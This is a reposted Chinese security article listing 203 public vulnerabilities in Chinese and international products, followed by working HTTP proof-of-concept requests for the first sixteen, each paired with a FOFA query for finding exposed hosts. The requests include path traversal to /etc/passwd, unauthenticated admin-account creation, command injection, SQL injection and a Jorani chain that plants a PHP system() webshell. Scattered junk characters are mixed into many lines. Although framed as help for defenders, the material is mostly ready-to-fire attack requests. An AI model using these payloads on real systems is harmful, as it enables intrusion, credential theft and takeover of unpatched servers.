互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

: t9 K: J! E( c. y  a- E漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
: J4 `9 r  W6 P
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

- N, P& t* K! [4 }! y+ N文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

) }/ T  n* B! ~4 s% e- L, F合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

5 T1 B8 A0 I9 A$ O! }
  G2 Q/ Y: T' l( q6 [, ~+ W+ D声明
, [( q9 N# b  T4 j
  S9 F& K- g) ~* a3 p/ b为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

% L% I/ c% m9 d5 V# e: r  L4 g有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
3 \$ S5 j: s; \3 h+ u
1 I6 B. k- m) `8 F
7 z9 c4 Y3 }$ \+ q3 |
目录

+ v& Z4 Z- U+ M) j; s- _6 U7 M+ M01

# U  E3 N# G$ A1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
  L4 D- T+ V" q9 d: b. B/ b4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
4 z2 B0 q. t6 r2 v% t* ~4 H6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
1 j5 n' }4 K( N' t0 [% S0 S9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
( W, T" f! _$ u11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
& O2 P9 e/ N$ P, t' Q) n14. 华夏ERP（jshERP）敏感信息泄露
2 @5 H& ~! f; h5 Z15. 华夏ERP getAllList信息泄露
" I3 L4 |4 \& y16. 红帆HFOffice医微云SQL注入
( I" F; k! v- K* W# X5 e/ K17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
8 i# W# F# h8 x2 M7 H* F) ~4 }) H" y- E20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
6 k7 l+ T- B  r9 P5 I- K  v22. 大华ICC智能物联综合管理平台 log4j远程代码执行
23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
6 H" i, ^2 {( V- g9 L26. 用友NC linkVoucher SQL注入
0 W9 l1 z6 L  M& j6 V27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
+ J& @4 y$ z2 e& p# L31. 用友NC runStateServlet SQL注入
, j, l4 Q6 J0 a% x2 E" Q5 `) p32. 用友NC complainbilldetail SQL注入
3 h% s$ M/ K! _) O; J/ e! Y1 q2 ?33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
, k7 H6 {$ b, ~5 a1 w' H$ {5 K36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
; V) W/ z+ T0 k1 q* p# r- W; ]38. 用友U8 Cloud smartweb2.RPC.d XXE
/ w" g7 g4 Z7 h7 x! S. p39. 用友U8 Cloud RegisterServlet SQL注入
( D' R1 b0 w# z! @40. 用友U8-Cloud XChangeServlet XXE
5 G: F$ {, i) t41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
, t/ \2 f8 A1 x, n) h! Q42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
" R7 `& U3 {* Y. ~5 C44. 用友GRP-U8 bx_dj_check.jsp SQL注入
1 I1 n, a+ U8 }6 M/ y( M7 L45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
; W- V# O8 o4 i47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
( E8 E( U9 A. h8 i3 H1 w49. 用友U8 CRM系统uploadfile.php接口任意文件上传
6 x; h5 U" Z$ R0 G$ D9 P  L/ e& [50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
4 S$ U0 K( N" l# a- e8 S9 G1 X6 Y2 ?9 I52. 泛微E-Office json_common.php sql注入
9 ]! t) z* x  c. f53. 迪普 DPTech VPN Service 任意文件上传
+ K- G# A* X' O, ~$ _* `54. 畅捷通T+ getstorewarehousebystore 远程代码执行
7 _& g1 j* M( A$ N55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
& V. O7 J: h: W9 v$ y) D' O/ M59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
9 C: r( h3 c0 B9 d0 f62. IP-guard WebServer 远程命令执行
* P. j! Z" }! B/ W# x3 ]  ~63. IP-guard WebServer任意文件读取
3 p" M) ^! y  J64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
6 G0 W6 a$ X" \5 {/ O70. 万户ezEIP success 命令执行
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
6 F7 i) X9 m4 p) f! V, B75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
. P0 a; q/ b( }2 U80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 X/ K3 L1 J  e& z, i3 o$ b82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
83. JeecgBoot testConnection 远程命令执行
* z( D/ i5 }7 k6 A# X" [0 O" l84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
/ U$ |3 t& \& w6 \# K85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
7 T) V3 d, c0 Z7 ~89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
6 g- K: N. l, E91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
& J; A: b; \5 f3 |# |94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
4 ?7 x4 S: x: l: a. _, x0 t96. Apache OFBiz  18.12.11 groovy 远程代码执行
( g; F. S2 T/ ]2 r  ~2 m97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
8 l" ^% x" r, N1 R98. SpiderFlow爬虫平台远程命令执行
: R: z! o8 s1 o  V2 v$ B: t. _- U99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
! _$ \% d& Z. p101. ivanti policy secure-22.6命令注入
; U+ }- u4 K6 x102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
# F9 a) t: N; q$ |1 D+ E0 O6 l104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
2 j" K' A! k) W  n2 f105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
  I7 b3 `* {& }111. WordPress Plugin HTML5 Video Player SQL注入
4 C7 e6 L; S7 n' a. k' Y112. WordPress Plugin NotificationX SQL 注入
9 s+ v/ G& ]. A113. WordPress Automatic 插件任意文件下载和SSRF
  ^0 B' Q8 {% Y6 F/ B  s+ S114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
  L) g1 E" y/ M. }* a4 i' B116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
2 R$ u5 K" Z: Q4 a118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
2 I, P; Y" n+ \' H1 n119. 北京百绰智能S20后台sysmanageajax.php sql注入
" `! Y; _1 [5 W120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
( `+ M! g0 ^" P/ u- Y$ x8 V* G122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
/ v- i6 f6 L' K0 z0 j2 X$ X124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
0 ~: P% R4 I2 m130. Laykefu客服系统任意文件上传
! ~  S# W: \# x! A+ ]$ \1 t/ N8 h( _131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
$ I$ T# F. a* T6 T! Q( |& ~133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
6 P* N+ z& p; r5 S$ q138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
$ F+ w: \# ?2 [& z+ V140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
- D/ b9 u2 Y8 l# K- s# c  p; U141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
9 G. b: [6 O1 ^& l" }3 ~142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
# K* r" O7 S. K144. D-Link nas_sharing.cgi 命令注入
% B1 X3 v0 l  W& a+ b145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
/ \3 V6 z* V, l/ s$ ~2 Y1 p8 @5 u147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
. p3 }: L# r4 h148. CrushFTP 认证绕过模板注入
1 o! Y4 `0 |: B! q149. AJ-Report开源数据大屏存在远程命令执行
5 o0 E8 Y+ q$ G0 E150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
# T, g: }6 w4 a: P. o154. 天维尔消防救援作战调度平台 SQL注入
, A# {4 Y- U3 K4 O1 P* S" r* u* }155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
3 n; K- w3 {& n7 h158. Mura-CMS-processAsyncObject存在SQL注入
) o/ [+ J( s# P) P( L( w159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
9 L' e- ~. |/ l160. Sonatype Nexus Repository 3目录遍历与文件读取
9 d# Q) p  K8 Z6 W/ S) b; m( t# f161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
2 R* `% m8 i6 {& X162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
. [2 F( |& u% R170. 宏景EHR DisplayExcelCustomReport 任意文件读取
- x! v" P, r8 w; {" f  R171. 通天星CMSV6车载定位监控平台 SQL注入
5 n6 `9 P- I3 M3 O8 t172. DT-高清车牌识别摄像机任意文件读取
173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
% z3 P  q1 Q2 [( X- [176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
- {  b4 ?. \1 z/ V  i185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
( q) e* ]  D' R, U0 [& N8 k* ?9 W189. 蓝网科技临床浏览系统 deleteStudy SQL注入
* [, g, y1 V5 M" z: {' E& E190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
  y( I1 K# c/ N# a/ R192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
( I" e* O3 ]+ ~7 s/ `193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
0 t2 N8 k0 p9 I; J196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
8 [6 P9 {5 b( X$ I* O0 c198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
# q6 I, I# \% p3 \! [8 U+ V200. SeaCMS海洋影视管理系统dmku SQL注入
/ Z3 _' W! t3 w" H# T1 X% N1 n- e4 y201. 方正全媒体新闻采编系统 binary SQL注入
, S1 n" {& {" |* E& b# }( j# ?202. 微擎系统 AccountEdit任意文件上传
% O, b1 n1 D; r' l! v" h: l- g203. 红海云EHR PtFjk 文件上传

POC列表

9 y& d+ |2 |; n/ O  _" |02
* N+ g$ C" `$ b8 A- ]
0 o6 u' o! B. N3 Z+ n1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
: K3 Q; J" \+ F, y% j+ h  yGET /mem_tracker HTTP/1.1
/ P2 c% c$ @" A* q# jHost: URL


& b1 M4 t; t/ |* `" _' D* r7 M6 J" h2. Casdoor系统static任意文件读取
$ V4 t. ~# y& Q$ V. _$ y& _* FFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
" A& L3 b2 o; Y7 t( W/ y) \% G. Y  FHost: xx.xx.xx.xx:9999
2 K* E6 g$ j* r# f) {- IUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
( S3 C( n9 m# Z7 U, m  r% D$ \Accept-Language: en
1 w9 U2 T$ o+ o2 R) \: q' f- xAccept-Encoding: gzip
  p; {: h5 C4 d0 A7 J0 V  I

3. EasyCVR智能边缘网关 userlist 信息泄漏
( |( ]5 a% o9 b0 @FOFA ：title="EasyCVR"
* I3 [3 ^2 E; Y3 C( v0 \  {GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
4 E! c" X0 J) Z3 e5 NHost: xx.xx.xx.xx


4. EasyCVR视频管理平台存在任意用户添加
) n7 ?! o; c9 ?FOFA ：title="EasyCVR"

1 V. F3 n2 v8 [/ Epassword更改为自己的密码md5
$ o' V$ q% p" D! Q% C1 tPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
' Z/ t3 o! o# N9 v. g' o
5 T/ G' Y7 P& _7 ^5 p9 R) p
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx

  K# U8 {1 f) R4 A
6. 深信服 NGAF 任意文件读取
6 h. e% {3 C' y  O- c  G2 p. k2 M' pFOFA：title="SANGFOR | NGAF"
' [6 ~2 R+ v' q4 H5 V/ hGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
% b: b: ^5 y6 [0 H: v0 h" sHost:

! {; A" R) T: _* Q* ~9 j6 q
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:
+ R: ^# h4 S; s! ]
" l$ Q# ^" y* a$ _
8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
; h3 [, |# ~, {0 bPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
  [, {( }$ }% h* N) C: T3 w, uUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

  L# K7 B% L0 X; X. W------WebKitFormBoundaryxbgjoytz
$ K6 Q3 l7 B4 ZContent-Disposition: form-data; name="wifiRebootEnablestatus"
! }) _+ Q* k, N6 c+ R1 f
%s
------WebKitFormBoundaryxbgjoytz
& `& r' r  N7 Y* [3 _Content-Disposition: form-data; name="wifiRebootrange"
9 V1 [; j: C& |6 p. l$ m: p; r
12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"
5 \1 Y0 H9 o2 a
# E! Z. p  I4 F4 R' @- e%s:
------WebKitFormBoundaryxbgjoytz
9 e5 E& D+ a6 c/ Q8 jContent-Disposition: form-data; name="cururl2"
6 G) l/ I% B5 p% S* R
! Q9 D, R7 |8 n" L" W2 q
& G$ R' }, L7 L* h; R' U% p  X4 R$ a------WebKitFormBoundaryxbgjoytz--
# K& F& `+ f2 Q) V6 \& a( d

9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
/ q' f8 |, v% }% n2 |9 e' lGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
3 d/ Y- d" t& |1 X) O. t" H+ rHost: x.x.x.x
& _' U! t* K6 r9 `5 k  }9 z/ t
( Q6 j# S# k) O* @
/ i1 h2 W3 ]" q6 o2 ]/ Mpayload为下列语句的二次Url编码
; |9 l$ s5 V3 g% v% ?
2 R9 _, Y+ |- H4 X' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
% O  |; ?: W* i" C3 G
9 H0 B. l2 _$ _) x7 o! r& p10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
* X  P8 d: h# `3 ^' X: ]/ o
1 y8 B& M7 |( m; a% R: W8 _文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
: V$ X, C/ k) k4 J! N0 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
( {, t9 e8 @% r8 t; t3 ]; C" ZContent-Length: 197
1 }- @% E( F6 S; R' IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. \- p2 x- W4 L* c2 g6 L( @; l& T9 QConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
4 ]5 ?9 U4 z. g7 n8 p
  z/ Z* h9 G9 `' T------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

( T1 }7 n. }  p- G% Djmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

8 h6 i4 l: J3 P6 |- D
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
# W# `) ]1 b2 A1 }7 VHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
6 \( W5 C0 ]: TUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
0 N& G# k/ B+ K, i8 M( m) y! ~- y/ zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: {5 Z/ B' O/ A2 N9 k$ J7 v5 Q! U: }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
5 p: F: V* z& r% [Connection: close
; {2 J# U$ U8 E: U) p1 i6 B, B

2 Z2 c/ Q  V7 V3 @12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
) }% S: f5 I5 i( {6 L9 v* j8 |GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
3 x2 a, r! A) N8 F4 b. X0 dConnection: close
2 l5 n, L  a! S. F" E4 EAccept-Encoding: gzip
& \+ H1 S$ }5 t) M% q
' ]% z/ }  N8 Q8 A0 M
0 u' u5 ?0 w2 f8 w. ^  S$ N; u3 G响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
" g5 P8 p! J* h( k, f  k8 HConnection: close
3 ^% f$ H2 k% G9 Q: l" ^6 zCache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
* ]+ l1 ]2 p. \; g2 e: ^Expires: Thu, 19 Nov 1981 08:52:00 GMT
+ D! z0 Y) X, i; ~Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
+ q+ y* W4 G) j, ^  k6 Z! B8 u& JPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding


POST请求，执行函数并进行base64编码
5 [( a, l: y5 e/ o+ f5 a  z. QPOST /session/login HTTP/1.1
Host: 192.168.190.30
' Z) P) D1 t) x, tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
$ d. t" U  `9 T$ P$ S  j* T5 qContent-Length: 252
: A" ~( ~) a% i0 ]$ {Content-Type: application/x-www-form-urlencoded
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
" o* _2 y- @0 WAccept-Encoding: gzip

- [0 H7 o' L  ^' Xcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
0 B" V  j* A5 |, ]9 m  BGET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
1 b4 [0 Q4 Z, R2 A8 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
0 H; B+ b! Y8 W; w1 g; Y) [! WCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
; T2 i6 v8 U6 |+ ?K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
* Y0 b. ?1 S9 QAccept-Encoding: gzip


13. 红帆iOffice ioFileDown任意文件读取
/ M! Y* b0 O' U( h) N$ a( S8 lFOFA：app="红帆-ioffice"
6 @: e1 \% b/ |, F9 g# {: A6 sGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
+ {+ ?- g  `) l5 l& \Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
! M; R- k1 _! M& Q! qConnection: close
+ U& i+ L2 y% ]3 s, n  g: qAccept: */*
1 J, s7 k8 X) u3 x  W5 t3 @3 g; G" wAccept-Encoding: gzip
" a% }& i1 ~1 {; M" N

14. 华夏ERP（jshERP）敏感信息泄露
0 X: s* o# M& c4 lFOFA：body="jshERP-boot"
泄露内容包括用户名密码
" s7 i' R! ]  J7 L5 }% T/ b3 x0 GGET /jshERP-boot/user/getAllList;.ico HTTP/1.1
% y$ o( _, Q" {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
( r8 f2 c5 L9 K, V7 ^$ VAccept-Encoding: gzip


15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
5 o% U2 \  ^1 RGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
& P! n2 K& ^! f( k% N, yHost: 192.168.40.130:100
3 S1 }- q$ \% E* OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
3 K7 U$ L; Z/ h! i' m" B' b! HConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
* o2 W, ]7 n7 h" Y% M' Q& BAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip


* ^5 o7 B3 J2 s( Q. v8 G16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
6 g4 b* ~# p6 P+ {$ o1 i  f9 nGET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
